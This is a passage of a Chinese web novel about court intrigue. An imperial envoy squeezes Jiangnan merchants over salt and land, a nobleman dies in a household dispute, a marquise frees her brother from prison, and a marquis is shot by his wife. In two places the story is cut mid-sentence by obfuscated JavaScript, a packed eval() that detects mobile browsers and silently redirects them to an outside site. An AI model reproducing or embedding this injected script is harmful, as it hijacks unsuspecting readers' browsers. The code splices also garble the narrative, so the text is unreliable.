巨富们多相互瞅瞅,好些位看向陆兼,陆兼垂眸沉默,姚伉恢懂他的顾虑,晏霁之若是能点到为止,他们给就给了,就怕晏霁之不会只要二百万贯罢休。 牛湃发难:“朝中艰难,增收赋税就是了,钦差下江南一切便宜行事,你做得了主的。” 晏霁之看过他,转向众人,淡漠道:“诸位可知举国有多少盐湖?” 滕王怔怔,多位巨富乃至官员脸色微变。 威胁!直白的威胁! 你们不肯给我这二百万贯,我就釜底抽薪把沿海的盐利夺了! 二十位巨富中,有些人家是小辈来,有些是当家长辈亲自来,花老爷劝:“大人此想怕是不妥。” 晏霁之威怒:“尽管闹,你们看我担不担得起?!” 滕王头大看向巡抚,梁巡抚低眉沉着脸,陆兼站起来响应,朝廷艰难,他们理当尽力,一众巨富附议,牛湃都没反对,晏霁之的意思很明确,他没什么耐心了! 总不能当下就撕破脸。 走出巡抚衙门,牛湃倍觉压抑:“他是只要一笔就能够吗,他要第二笔,我们接着给?总不能他捏着盐利就妄想把我们全压住,让他回京去吧。” “这可是尊大佛。”姚伉恢自嘲:“谁来江南做钦差敢说:我敢把沿海的盐利夺了,就他和霍海啸了,薛述聪来都没胆量。人家身份硬着呢,我们送得走吗?” “可这又不只事关我们,沿海——”牛湃不以为然。 “四千人!”姚伉恢打断道:“前例还热乎。” 牛湃顿时被噎得慌。 边从杲烦恼:“我们跟他商量,只要他愿意,我们私下给他三百万贯都行。” 蓝遂道:“晏霁之会看中银两吗?他是要做出成绩来。” “那还能怎么办?”花老爷好笑:“钦差接下来若是要丈量田亩,还拖得住吗?人家身份硬,没有我们转圜的余地,想保住盐利,把田地交出来,否则他能让沿海今后一个盐商都休想再有!那我们还折腾什么,全凭钦差做主好了。” 花老爷拂袖而走,好几人跟着走掉,一数发现竟有七八个。 陆兼的脸色难看起来。 “过两天,我们去跟他谈还价?”边从杲泄气道:“他下个月肯定要丈量田亩了,滕王已经来催过我们两回了,不会再有第三回了,否则他今天不会这么强横。” “不在意毁掉江南?”赵老爷品味道:“钦差,或者说当今陛下不相信江南还能保全,是向陛下表忠心还是倒向昌隆侯,我们自己看着办。” 蓝遂讽刺:“晏霁之这样强势都省得朱芑适费心了,等着坐收渔利就行。” “太上皇若是能相信昌隆侯会造反,此事可迎刃而解。”陆兼点出要害,姚伉恢糟心:“没有我们运作的余地呀,我们还能拖住晏霁之几天?一个月,路上来回耗小半月,就大半个月,若能成事,陛下还能劝不动太上皇相信吗? 太上皇能不认定这是皇帝想要削减他的势力吗,除非昌隆侯造反,否则如何肯相信,但太上皇不会反对皇帝想把江南的财富收入京中,因为皇帝不可能独吞甚至太上皇会拿大头。这样的情形,十几天,我们怎么运作?” “朱窅絜死了?”陆兼沉吟,蓝遂应答:“死了,送给王家了,他不死,王家能窜逃?王家不逃,晏霁之如何定罪?”是有被震撼:“一天,晏霁之一天就给料理了。” “安排人进京吧。”陆兼决定:“该拜访的人都拜访遍,劝劝英王和晏副相,放任晏霁之得罪太多人能不损及晏家根基?晏霁之今日之举必会受诟病,陛下总不能一点不在意舆论。再给霍海啸和薛述聪送信,晏霁之锋芒太盛,对他们焉能有好?” 府衙里,滕王在劝晏霁之,逼得太过恐怕会适得其反。 “人家想我们诸事不理只做两个月闲人。”晏霁之结束话题:“我要出门了。” “你要去哪儿?”滕王问。 “前年致仕的盐铁使纪荷净,他在扬州,我去拜访他。”晏霁之道。 滕王在脑子里搜索下:“他脾气很臭,就是得罪人太多才致仕。” 晏霁之附议:“想请他出山怕是不容易,你陪我一起去?” 滕王敬谢不敏:“你还是自己去吧,我忙着呢。” 晏诺牵着两匹马在堂前候着,晏霁之迈出花厅,牵马走出府衙,踱过几步,察觉不对,牵着马散步,转入僻静小巷,晏诺喊道:“诸位一路尾随也累了,出来吧。” 话落稍过会儿,五六个人从墙后走出,面貌有二十多岁、有四十多岁,他们在府衙外徘徊看见钦差,跟过来的,他们也想为朝廷献上一点绵薄之力。晏霁之温和:“去找滕王吧,若是怕白天引人注目,夜里过去就是,我还有事。” 几人从善如流告辞,蔡藕菩看他们走掉再现身,识趣的人真是有的。 被告知找滕王,蔡藕菩争取道:“大人必定能对付昌隆侯吧。” 晏诺往前两步请姑娘离去,莫让他动粗。蔡藕菩恳切:“我只要一刻钟,不,半刻钟,我只说几——”晏诺提着人家姑娘的胳膊把人摔在路边,晏霁之策马而去,蔡姑娘叹气,好歹十万两银子呢连几句话都买不到,真是在天边的。 晏霁之寻至纪老头家,宅门敲过三下,大门打开,一个十来岁的小童探出来。 他对着来人注视又观察几遍认出来:“你是英王世子?” 晏霁之打趣:“看来我长得还不够英俊,没到让人过目不忘的地步。” “我能把你认出来很不错了。”小童熟稔道:“你来找我爷爷?” “嗯。”晏霁之递包油纸包给他:“喏,来的路上给你买的零嘴。” “我爷爷大概不会见你,虽然我可以帮你说说情,但我绝不是看在零嘴的份上。”小童接过油纸包跑回屋,很快回来说:“你走吧,我爷爷说跟你没什么好见。” 晏霁之送锭金元宝,小童眼咕噜转:“你趁我不在溜进去的,跟我无关啊。” “你不怕被爷爷打呀?”晏霁之失笑。 “哎,跑不就行了。”小童欢快跑出家门玩去了。 晏霁之牵马进院,看见在槐花树下磨柴刀的纪老头,赞道:“这下马威好。” 人家不理会,晏霁之得寸进尺:“你知道我找你想要什么,你很清楚你得罪了多少人,只是致仕,圣人和陛下是愿意保你安好的,否则你一家老小得搭进去。” 纪荷净一把把柴刀砍向泥里,赶道:“我这儿没你想要的。” 晏霁之自作多情:“你不必替我着 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嬴忱璧遂传召霍枫叶,又去谷王府把养在宫外的两个皇子带上。 皇家卫队去到田间,百姓们跪迎君王,嬴忱璧让老百姓不必拘束,霍灵渠望着霍枫叶,在霍枫叶感受不出的甜笑深处是霍灵渠自己才懂的想哭。 三岁小孩跑来找霍贵妃,霍灵渠把三皇子抱起来,霍枫叶要抱二皇子,二皇子摇头,他自己走,但还是伸手抓住霍贵妃的裙摆。 嬴忱璧带二皇子下田去,和老农们说今年的收成。 霍灵渠教三皇子帮伯伯们搬稻谷,小孩犹豫着抱起两把稻,跟贵妃走。 二皇子看弟弟一会儿,抬头望向父皇,嬴忱璧笑着跟皇儿说,去吧,帮伯伯们搬搬稻。二皇子跑到贵妃身边,试着搬过两遍后兴致高起来,抱着稻穗欢欢喜喜跑。 宫人们带着新鲜的菜蔬,在郊外搭土灶生火,霍灵渠带两个有些累了的小孩来到煮饭的土灶前管火,三皇子看着新鲜,学着霍贵妃的样捡柴火往灶膛里放。 二皇子坐在贵妃旁边,没动,霍枫叶过来,再要抱二皇子时他没拒绝。 “小叔,玉藏珠昨天一早离京了?”霍灵渠求证,霍枫叶肯定。 霍灵渠考虑:“她会想对付霁之吗?” “不会,晏霁之曾经对她的倾慕是假,她都自觉受不住旁人的眼光,遑论对付晏霁之,以玉藏珠这个性情她只会躲避旁人的指指点点。”霍枫叶推测。 霍灵渠往灶膛里塞块木柴,霍枫叶拿出包果脯,给灵渠拿颗,再给两位皇子。 嬴忱璧走来,霍雄鹰同时跑到:“陛下,城里来消息说,晏明潜死了。” 皇帝、贵妃和霍枫叶还有两个不懂的小孩看向他,霍雄鹰保证:“真的,据说是晏明潜跟那个钟姨娘起争执想要掐死钟姨娘反被钟姨娘推得撞在烛台上,死了。” 嬴忱璧怪道:“因何事起争执?” 霍雄鹰曝料:“据说那钟姨娘生的那个不是晏明潜的,是晏琼勋的。” 嬴忱璧:“……” 霍灵渠:“……” 霍枫叶中肯的猜疑:“应该不至于吧。” 霍雄鹰摊手:“我也不可思议,但据说那钟姨娘要害自己的亲骨肉被晏明潜抓个正着,晏明潜越看这娃越像晏琼勋就闹出事来了,官差已经去拿人了。” “……” 164. 第164章 很普通的门檐,百姓家最常见的门檐,衬着偏狭的巷,莫名低矮。 晏如瑰看着晏明潜租赁的住处,晏明潜从英王府分出来单过还没有二百天。 晏煦之夫妇陪伯父赶来,当然少不了晏琼勋,晏琼勋要冤死了,跟他能有什么关系啊。 早到两刻钟的晏如瑰给父亲请安,晏明潜的灵堂已经布置起来,贾姨娘悲痛过甚还昏厥着,晏明妧像是麻木了,带着晏明潜的两个孩子和三个妾室在烧纸钱。 钟姨娘被官差押走已经判死刑了。 至于钟姨娘生的婴孩?不明不白,晏明绾不好料理,放在摇篮床已经冰凉了。 晏墉不想去灵堂,转去东厢。 老嬷嬷把襁褓抱出来给王爷看,晏墉仔细端详过,扭过脸一脸被气煞。 晏煦之夫妻和晏如瑰、晏琼勋靠近观察,越看,晏琼勋越有点毛骨悚然,这面轮廓不是像他而是像他弟,但他弟才十岁啊,所以就栽他身上了? 晏明绾抿抿唇,不偏不倚道:“孩子生前醒着的时候,更像。” 晏琼勋真是一口老血要喷出来了。 薛述聪进门,不可思议啊,他还没出手呢,晏明潜就死了,死的太草率了吧。 皇帝携贵妃驾临,霍灵渠扫视过这襁褓,问,可有满月了?晏明绾低头答,明天满月。 霍灵渠叹息,转看向晏琼勋,说:“四爷给这孩子料理下后事吧。” 晏琼勋抓狂啊,他跳进黄河都洗不清了。 “这是你生母的侄儿的孩儿。”霍灵渠公布真相,其他人:“……” “贵妃,说什么?”皇帝,嬴忱璧不能理解,其实大家都神奇。 霍灵渠阐述道:“去年,徐侧妃的侄儿在英王府小住,霁之把钟姨娘送给徐家少爷了,钟姨娘自己都不知道。霁之早知钟姨娘和晏明潜的事,两个人暗地里好了一年半,霁之便打算等过一年半公布真相,没想,还没一年,事情就这样了。” 众人:“……” 晏煦之想捂脸,晏墉在平静心气,晏琼勋肝疼啊,他该谢谢嫡兄没把他送出去还是该谢谢晏明潜没给他和他姨娘留麻烦,要不然这么个孩子都不知道该怎么办。 嬴忱璧想着自己,莫非他真的心地太好? 晏如瑰意外涌起舒畅感,不是幸灾乐祸就是不由自主。 然这热闹对薛述聪,偏偏晏明潜死了,他想笑都笑不出来,晏霁之可真能藏。 “钟姨娘怎么会想残害亲骨肉?”霍灵渠追问。 “这孩子生下来就不大好,大夫说很可能会早夭。”桓炜彤解释道:“裴氏走后没几天,晏明潜又散掉三名妾室。钟姨娘坐月子,三天两头闹幺蛾子,指晏明潜还在膝下的这双儿女要害她的孩儿。钟姨娘想要扶正,看孩子活不长了估计想搏一把。” “可惜她不知道她不能生了。”霍灵渠道:“霁之必定已让她绝育。” 霍灵渠斟酌:“这么说,晏明潜会察觉异样是他另外这三个妾室的反击?” 皇帝微怔,桓炜彤认同:“应该是,否则也没那么巧吧。” 晏煦之看看他大伯,曝出:“晏明潜这个月的家用只给了二十两银子。” “裴氏走后是晏明潜庶女的生母在管家,钟姨娘闹着要喝补品就不知闹过几回,二十两还不够塞牙缝,但小妾一跟晏明潜提银两不够使,他就发火,又令妾室不能短家里花销。”晏煦之嫌造孽道:“晏明潜好像打着要让妾室倒贴的主意。” 他们:“……” 晏琼勋受不了,晏如瑰错愕,晏明潜得意时掩盖了多少不堪呀?薛述聪懂了,晏霁之懒得亲手摁死晏明潜就是嫌拉低他的格调。晏墉长长呼出口气。 嬴忱璧道:“朕和贵妃既来了就要个确切情况,审审这三人吧。” 晏煦之领旨。 日渐偏西,晏煦之查出结果,在君王面前还原内情。 晏明潜在裴氏走后的做派让他这三个妾室都感觉不对劲且不安,她们去找裴氏打探过,裴氏说晏明潜没什么钱财了。钟姨娘又不停针对她们,她们与钟姨娘还能在一个屋檐下吗? 原本有孩儿的两个小妾不想掺和,但没孩子的那位几句话让她们犹豫了。 裴氏要把儿女带走,晏明潜都答应了,三个嫡出的儿女都能不要,他还会在意庶出吗?他才三十多岁,想要孩儿还能怕没有?若是等到晏明潜想要发卖他们时才真是叫苦不及了。 晏明潜会想卖掉他们吗?二十两银子的家用足够明明白白。 他就是想先把妾室们的私房钱挖出来再卖掉他们。 三人商量许久,想出个对策,钟姨娘隔三岔五诬赖他们想害死她的病秧子,她们就指钟姨娘这孩子不是晏明潜的种,钟姨娘既耐不住寂寞,谁知她勾搭了几人? 她们原想在满月酒闹出来,晏明妧出事了,她们也就不等了,趁着晏明潜暴怒再添把火。 至于害死晏明潜有没有她们的份?三人坚决不承认。 但认不认,大家都心照不宣了,晏明潜是死在他四个妾室的手上。 晏明绾憋闷到难受,晏如瑰忖度,这三人是想趁机让晏明潜死,把钟姨娘送去死牢,她们瓜分晏明潜的余财,甚至晏明绾在呢,没准晏明绾还能多给她们一些银两。 晏墉闭闭眼睛,想抹把脸忍住了,交代侄儿:“明潜的余财分做四份,一份给贾姨娘,剩下三份给她们三个分掉,府里拿二千两给明潜留下的这一双儿女。” “大伯宽心。”晏煦之还是觉得晏明潜造孽,这真是自作自受。晏如瑰心里摇头想笑,大家都清楚晏明潜的死因又如何,钟姨娘送去死牢了,爹都懒得计较了。 事了,皇帝和贵妃离去,众人恭送过,晏墉没有多留,带晏煦之和晏如瑰走了,桓炜彤留下来帮忙打点些,晏琼勋也留着,但这样一遭吧,他真不自在。 薛述聪走出这处小宅,撞见公主媳妇,差点被吓到。 乐邑情绪低,薛述聪训道:“晏明潜死了,你丧着脸作甚?” “我是在想任逍。”乐邑纠正,薛述聪再训:“她又跟你有什么关系?” “任逍死了,拿草席一裹了事,崇孝当浑然不知,还是魏王妃出面给任逍料理后事。”乐邑齿冷:“魏王怕都要嫌这长姐太过薄凉了。” 薛述聪算是懂媳妇啥心思了:“你跟这长姐还有过什么姐妹情吗?” 乐邑眼中一暗,未语。 晏明潜的灵堂前,醒来的贾姨娘披着丧服在棺椁旁烧纸钱,桓炜彤走近劝:“贾姨娘,虽然这话不合时宜,守过七天,跟明绾走吧。” 贾姨娘心如刀割,晏明绾拉把生母,担当道:“嫂子莫牵挂,我会带我姨娘走的,大哥这两个孩子,他们要是愿意,我也可以带走,左不过多张嘴吃饭而已。” “好。”桓炜彤温声道:“回杭州后若有事尽管来信,跟娘家人哪有客套的。” “我晓得。”晏明绾没有疏离,挺亲近的。 桓炜彤再去看晏明潜那三个妾室,晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459356|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明绾看向姐姐:“大姐你跟我走吧。” 晏明妧置若罔闻,晏明绾讽刺:“你还真想进代王府啊?” “你要是进代王府,你死,我和姨娘都管不了。”晏明绾告诫,晏明妧依然没有动静,晏明绾冷嗤:“好,你想怎样就怎样吧,反正大哥已经没了。” 贾姨娘痛得像被摧心剖肝,哭都哭不出来。 灰暗袭过,秋阳残,秋分才过,天暗得仿佛就比昨天早许多。 关于信用? 皇帝在京郊向皇儿许诺:父皇今夜在谷王府陪你们。 三岁小孩抱着纸鸢坐在石墩,他哥哥抱着书卷,等候大半个下午,看见父皇和霍贵妃,小孩撒掉纸鸢跑向爹爹,二皇子犹豫下跑去,霍枫叶迈步向前去请安。 霍灵渠抱着小孩坐在石凳,嬴忱璧看看五岁的孩儿,二皇子仰头望着父皇,眼中向往,但似乎怎么也做不到伸手臂要向父皇撒娇,嬴忱璧把皇儿抱起来。 “海啸今晚有约?”皇帝确认。 霍枫叶应是,霍灵渠奇怪:“大哥今夜的酒宴不寻常吗?”否则皇帝不会特意点出吧,嬴忱璧嗯道:“海啸跟朕说,侯家兄妹要偷他的令牌搭救翟猛。” 霍灵渠哑然,语调微沉:“这是要彻底和朱家绑在一起了,升平知道的吧?” “当然肯定一定知道。”霍雄鹰看武襄侯估计都知道。 “侯瞻让?”走到这样一步,霍灵渠真有感触,但想想还是不想说他了。 “不是侯瞻让,是他妹,侯二姑奶奶。”霍雄鹰告知。 霍灵渠有点不大懂,嬴忱璧也有点不大懂,同问:“侯二姑奶奶?” 霍雄鹰疯狂吐槽:“对啊,造孽,也不拿镜子照照自己,还想引诱我大哥?!” 皇帝&贵妃:“……” 霍枫叶低低头,霍雄鹰话跟倒豆子似的往外冒:“她当年想嫁霍海啸来着,她这两天就在勾搭霍海啸,真是我看得都受不了,我们家要是能看得上她,还用得着她现在来勾搭吗,何况她不看看她早都已经嫁人还生好几个了,她还是个姑娘时都没被——” “说重点!”霍灵渠脑壳疼。 “哦,爹要将计就计,让霍海啸跟她逢场作戏。”霍雄鹰无语凝噎:“两家都算翻脸了,突然冒出来想跟我大哥叙旧献殷勤,什么脑子啊才会觉得我们不会怀疑她有诈,而且…天啊侯瞻让出面都比她强一千倍,我都想同情这大哥今夜一定如坐针毡。” 皇帝默下,忍住了没捂脸。 “或许就是不假思索的想法。”霍枫叶道:“觉得女人对付男人容易得手。” “可能还有随娘的缘故。”霍灵渠估测:“当娘的自觉脸面大,太上皇都该看她的脸面。这女儿也自觉甚好,怀疑霍海啸对她有情或者她对付霍海啸能手到擒来。” 在座三个男人:“……” 两个懵懂的小孩各自吃奶糕。 霍枫叶吃水果压压惊,皇帝嬴忱璧想按按额头,霍雄鹰发飙:“这女的,这女的真是,这猜测跟霍海啸说,我这大哥今晚保管要吐了!我就奇怪了,怎么针对男人就想到用女人,晏霁之也是,一到江南就有人给他送女人。” 霍灵渠刚拿只金橘剥橘皮,闻言,她手顿住:“有人给晏霁之送女人?” “对啊。”霍雄鹰灌杯茶消气,霍灵渠美眸一点点危险:“他收了?” “收了,他前些天还带着美人游湖呢。”霍雄鹰快人快语。 霍灵渠一把把金橘掰成两半。 165. 第165章 小孩直觉转头看霍贵妃,霍灵渠有点凶巴巴没给好脸色,皇帝眼神飘来,霍灵渠反瞪,嬴忱璧在心里冷哼,不咸不淡吃果子,给皇儿喂颗葡萄。 天黑下来,翟丽与晋王于朱家在京畿最偏僻的宅中会面。 “舍掉庄太妃就能保住你?”翟丽好笑:“霍家能相信你会忘记亲娘的仇?还有魏王,魏王能释怀你和他的仇怨?恐怕明年庄太妃的忌日只会是晋王你的死期。” 晋王没有理睬。 “是,你还有岳家,显国公压不过霍家但至少还能挡住霍家,但显国公还能撑多久?”翟丽警醒道:“王爷怕是忘了,你和魏王都还有一个大危机。” 晋王注视她,翟丽好整以暇吐字:“皇帝。” 晋王眼神一闪,翟丽言之凿凿:“当今能容得下你和魏王吗?你与魏王之间,皇帝会率先对付谁?圣人能舍掉亲女,舍掉晋王你,还会差几步? 你可能坐收皇帝与魏王的渔利吗?晏家在查温献皇后的死,一旦查证温献皇后还有你四姐姐都是被庄太妃暗害,晏家能放过你吗?庄太妃给你结下那么多死仇,你还能有活路吗,显国公撑不住时,你这岳家会愿意陪你一起死吗?” 晋王握起拳头。 翟丽道:“朱家拿南方,你拿北方。” “你说什么?”晋王难以置信,翟丽轻描淡写:“你手上一支军队都没有,在你危如累卵之际朱家愿意拉你一把,你还想独吞天下,能有这样的事?朱家拿南方,至于中原,是你还是代王,对朱家有何不同,端看晋王你想活还是想死?” 晋王喘息急促,在震怒的边缘。 翟丽逐客:“去找郢国公吧,能不能令郢国公追随就看王爷的本事了。” 晋王走出朱家这宅子,骑马就走,目送晋王隐没在黑夜,薛述聪陪他爹从隐蔽处走出,显国公交代:“翟丽不会画蛇添足挑拨我们和晋王,庄太妃就未必了,今夜起,把控晋王和庄太妃的见面还有书信,莫让庄太妃再有只言片语送给晋王。” 间隔两刻钟,翟丽出此宅邸,去虢王府。 谷王府,寝屋里很温暖,嬴忱璧在陪二皇子念书,霍灵渠在和三皇子折纸鹤。 皇帝嬴忱璧望着这幕忽生感触,抬手摸摸皇儿的小脑袋,让他和弟弟玩会儿看好弟弟,皇帝带贵妃去屋外说话。 两个小孩时不时看向门外,脸都有点紧绷。 “两个皇儿能忘掉楚美人吗?”皇帝道。 “怎么可能?”霍灵渠脱口反对,稍缓下说:“我觉得不可能。” “朕也这么觉得。”嬴忱璧赞成,霍灵渠看向皇帝,嬴忱璧唏嘘:“朕忽有些感慨,假若朕给两个皇儿找个养母,养母尽心抚育他们长大,过二十年,楚美人于他们还是扎在心头拔不去的刺,生母若与养母有冲突矛盾,朕猜皇儿会委屈养母。” 霍灵渠垂眸道:“我也这样觉得。” 嬴忱璧看向贵妃,皇帝倒没什么意思就是这话题容易含沙射影,霍灵渠不惮皇帝多想:“太容易得到了,几人会在意?按陛下假设,自是养母比楚美人对他们费心多了。” “朕该给两个皇儿找位养母吗?”皇帝迟疑下还是问了。 “尽心抚育他们的养母,久而久之,对他们好被视作理所当然,难以被养子放在心上。不尽心又容易被怨上乃至被仇恨,怎样做,似乎都难。”霍灵渠针锋相对:“除非陛下找一位不求回报、不在意将来被委屈的养母,否则,大概只能看养子的良心。” 嬴忱璧沉默下,跟贵妃说,他要出去一趟。 霍灵渠问他去哪儿?还有两个小孩在呢,他交代清楚,省得小孩要找爹。 “海啸今晚不是有约么,昌隆侯夫人要劫狱,既在宫外,朕就去看看,贵妃回屋吧。”嬴忱璧大步流星离去,屋里的两个小孩目不转睛盯着,霍贵妃回屋来才松口气。 翟丽在虢王府,一进堂屋,就坐主座。 论起对女婿的威压,夫妇俩都很重,昌隆侯上回还只是让女婿跪着,这回,翟丽怒得拿起鞭子打女婿,虢王世子跪在岳母跟前一声没敢吭,虢王夫妇在翟丽打第一鞭时也没阻拦,待翟丽打过两鞭差不多意思到了,虢王妃连忙拉住翟丽把她的手臂按下来。 “好了好了,他知道错了,何况,何况,我们可都没想,是侯爷自己……” 翟丽收鞭,冷冷要求这女婿三年内不能再娶。 虢王妃满口应下,翟丽的脸色好些,让女婿起来吧,让虢王府给她的外孙们收拾箱笼,她今夜要把她的外孙们接走。 虢王妃没意识到状况,还想留一留,怎么也犯不着都接走吧,虽然虢王妃不在意,接不接走都是她的孙子,关系断不了的。 妻儿都没察觉虢王的异样,虢王头疼,昌隆侯让他立冬前要带恒山王到广南。 这就一个多月四十几天的事了呀,这也太仓促了,可昌隆侯非得让他们过去,再不过去等死吧!虢王嫌急也没法,他还想不好要不要带个儿子,要是带儿子,带哪个,长子还是小一点的,要不然,还是带一个吧,带个小一点的,十来岁的? 翟丽把外孙们送进车里,让外孙们先出城,她去刑部大狱。 霍海啸受皇帝瞩目的会面,侯二姑奶奶没有避讳的约在酒肆,侯二姑奶奶追忆年少,霍海啸靠在心里腹诽爹的恶俗趣味撑着,几碗酒灌下,霍海啸倒在桌上装死。 酒中有添点料,侯二姑奶奶不意外霍海啸这就醉了,唤他几声又推推他手臂都没反应,侯二姑奶奶放心下来,神情也冷了,拿到霍海啸的令牌走出酒肆,赶往刑部。 霍雄鹰和班丞相陪皇帝隐蔽在酒肆外,目送侯二姑奶奶的马车远去,丞相叹气,皇帝问丞相在想什么,相爷摇头:“霍家出手点到为止,对方一出手就想要霍家死。” 嬴忱璧眼神闪烁下。 霍海啸走出酒肆,见着皇帝和丞相还有霍雄鹰,给陛下请安,陪同往下一站。 刑部大牢的正门前火光森森,侯二姑奶奶的马车在十几丈外的阴影里停驻,她掀起车窗一条缝隙搜寻圈,找到人,示意下人把令牌给昌隆侯夫人送去。 一仆妇低头来到伫立的翟丽面前呈上令牌,翟丽视线落在这仆妇身上打转。 这是侯瞻让的令牌。 翟丽没说什么,拿过令牌往前走。 仆妇转个身,霍雄鹰已堵在她前面,仆妇给出令牌,低头回去马车里。下一瞬,侯二姑奶奶的马车即悄声驶走。 霍雄鹰返回隐藏处把令牌给他大哥,霍海啸把令牌收好,皇帝蓦然道:“其实朕和圣人默许了,昌隆侯也都安排好了,没有谁的令牌,昌隆侯夫人照样能把弟弟劫走。” 丞相和霍海啸默然,霍雄鹰疑惑地望着陛下,没太懂。 “未必是豁出去了敢彻底和朱家绑在一起,就是想让霍家死,而已。”皇帝说,霍雄鹰心一跳,嬴忱璧笑了,眉宇间冷意迸发:“相爷说得好啊,双方结怨,霍家出手点到为止,他们?他们已经不能容许被得罪了,谁得罪他们,这群人就要下死手。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459357|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑夜下,翟丽戴着黑斗篷,压低视线,一路畅行来到铁牢前,随行护卫拿钥匙开锁。 翟猛看着铁门缓缓推动,虽然得信了还是忐忑,翟丽进门,他眼眶一热:“姐!” 死士把铁链解开,翟丽抓起弟弟就往外走,他们迈出这间囚室,翟猛的两个儿子赶来,翟丽有多救两个侄儿但也只能多救两个,弟弟剩下的家眷只能放手了。 “什么都不要说了,先出去。” 急速而来,急奔而去,他们走出刑部监牢,纵马疾驰来到城门前,翟丽用用令牌,顺利出京城后,翟丽让弟弟和侄儿先走,她还要去接她的女儿,她女儿的骨骸。 “姐?当前还是安全为重。”翟猛想劝,翟丽厉声:“我们都要回家去了,我怎么能单单把你外甥女留在荒郊野外,你们先走,在六十里外等我。” “好!”翟猛一咬牙,让姐姐多小心,他带两个儿子先撤离。 秋夜湿重,翟丽纵马飞奔至女儿的墓前,沾过雾气,眼睫和发梢被打湿了。 在此接应的是文郯侯,文郯侯已经带着人把棺椁挖出来,漆黑的夜里几丛火把似鬼魅,翟丽望着女儿的棺椁,伸手想抚抚还是忍住了,再把眼底的泪逼回去,待护卫把棺材装车。 忽然察觉不对劲,是箭矢射过的声息,翟丽看去,文郯侯已经中箭。 护卫们都是朱家的,不是对付他们,夫人也没下令,谁都没轻举妄动。 文郯侯想转过头看谁放暗箭,又一支箭矢射来,紧接着又是一支箭,文郯侯终归没能看是谁放冷箭想杀他就跪下来,几口鲜血喷出,文郯侯气绝,死了。 翟丽看见,文郯侯夫人还保持着射箭的英姿,她又再补上一支箭。 心口连中四箭,文郯侯死得透透的了。 文郯侯夫人收起弓箭,转身离去,翟丽扬声:“你这就走了?” “你带着护卫,我一个人,难不成是来阻拦你的?”文郯侯夫人停步道。 “只因他给朱家做事了,就能让你下这样的决心?”翟丽犹疑。 文郯侯夫人视线掠过死去的那人,转向翟丽,平和道:“你嫡婆婆怎么死的?我懒得费那么多心思防备,我宁愿一劳永逸。何况,陛下和昌隆侯当前有多剑拔弩张,宫中太妃们都看出来他倒向昌隆侯了,他还能逃过被清算?他死了保全一家子,死得其所。” 翟丽放行:“好,你走吧。” 文郯侯夫人反而多言:“你连女儿的骨骸都想带走,就不想保儿孙们的命?” “在你,一支箭就能解决,于我,千百支箭都解决不了,是皇帝已经容不得朱家了。”翟丽没有认命却有股认命的味道,看得懂前路又如何,前路再黑都只能一条道走到底了,忽有鼓掌声传来,翟丽警觉,人从黑暗中走出,是瑞执大长公主。 “射得漂亮!”瑞执大长公主赞。 “我跟你走,但…让我女儿走吧。”翟丽还算坦然,不动干戈,瑞执笑:“你都出城了,我还把你带回去不是费事吗,我若想拦当然该在你出城前拦住。” “那你来做什么?”翟丽防备。 “把我那位五妹给我。”瑞执要求,翟丽不信:“你要她作甚?” “她背着命案,我得跟她问清楚我的四侄女是谁害死的?”瑞执目光凛然。 “好!”翟丽爽快:“立冬夜亥时,在这里等着接她们祖孙俩。” 瑞执大长公主相信她道:“好!” 言毕,翟丽扬鞭策马,踏着黑夜而去。 166. 第166章 黑夜绽放焰火,一瞬间的瑰丽,是淹没繁星的绚烂。 滕王驻足看爆出的烟花,有小厮经过,他抓住小厮问,谁放的烟花? 小厮答,是汪撷姑娘。 “人家看你今天不大高兴,放烟花给你解解闷,你都不出门去看一眼,煞风景了吧。”滕王进屋,放盘茱萸果在他面前:“喏,也是人家让婢女给你送来的。” “拿走,影响我的视线了。”晏霁之斜倚着太师椅在思考事情。 滕王在心里吐槽他下,把果盘拿走,跟他说:“今晚来了八个人,八十万贯,有个商户跟我说近来有人在大举收粮食,还是比市面上略高的价,而且好像要把江南粮食收尽似的。她怀疑是朱芑适在背后,她还有事想跟你面谈,我让她等等。” 晏霁之喃喃:“陛下何以会选吴兴,巧合吗?” 滕王瞧他像在魂游:“你嘀咕什么呢?” “烟花漂亮吗?”晏霁之坐端正。 “你不是没想看?”滕王随口道:“你这会儿出去,应该还有。” “是陆兼放的,提醒我,烟花闪耀,转瞬即逝。”晏霁之告知。 滕王手微顿,烦,看个烟花都能扯出文章来,略过道:“人你见不见?她姓蔡。” “不见。”晏霁之估测:“朱芑适大概能收到二百万石粮食?” “我看不止,当然提前是咱们不阻拦,秋收还没完呢,这会儿粮食最多了。”滕王问:“咱们是温和些跟朱芑适打声招呼,还是无视他直接下令禁止?” “有人高价收粮,你偏要去阻止,人家不得怨死你。”晏霁之打趣。 “我跟你说正经的,若起战事,粮价飙涨,老百姓买不到粮可要出乱子的。”滕王语气隐隐有丝急切,有个声音幽幽笑:“可以让江南大小豪族捐粮嘛。” “哪有那么——”容易?滕王察觉这声音不对啊,转头看见陆老爷,陆兼他爹。 滕王手抵唇轻咳,晏霁之颔首略表问好:“陆老爷多虑了。” 陆老爷谈道:“其实,若是届时百姓们买不到粮食,朝廷若有需要,我们可以给,这点价是不够看,但若是整个南方起战祸,大人岂不知对朝廷有多大危害?” 滕王低头垂眸,钦差标价狠,他们更狠,居然真的是一亩地都不想出啊。 